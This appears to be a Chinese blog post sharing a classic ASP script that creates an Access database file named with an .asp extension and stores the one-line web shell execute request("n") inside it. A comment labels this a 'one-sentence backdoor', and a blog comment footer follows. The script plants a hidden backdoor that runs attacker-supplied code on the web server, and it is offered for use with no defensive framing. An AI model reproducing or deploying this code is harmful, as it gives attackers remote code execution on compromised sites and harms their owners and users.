<%   'code by netpatch   dim dbfile,sql   db="netpatch.asp"   dbfile=server.MapPath(db)   set ydb=server.CreateObject("ADOX.Catalog")   ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile   set ydb=nothing   if err.number=0 then   Response.Write dbfile & " 创建成功
"

  else

  Response.Write "创建失败,原因: " & err.description

  Response.End

  end if

  Set Conn = Server.CreateObject("ADODB.Connection")

  Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile

  sql="CREATE TABLE fdata([data] Memo)"

  conn.execute(sql)

  Set rs = CreateObject("ADODB.RecordSet")

  rs.Open "FData", conn, 1, 3

  rs.addnew

  rs("data")="<%execute request(“n”))%>" '(注释记得去掉!一句话后门 execute request(“n”))

  rs.update

  %>

 
目前共有0条评论
  • 暂无Trackback
你目前的身份是游客,评论请输入昵称和电邮!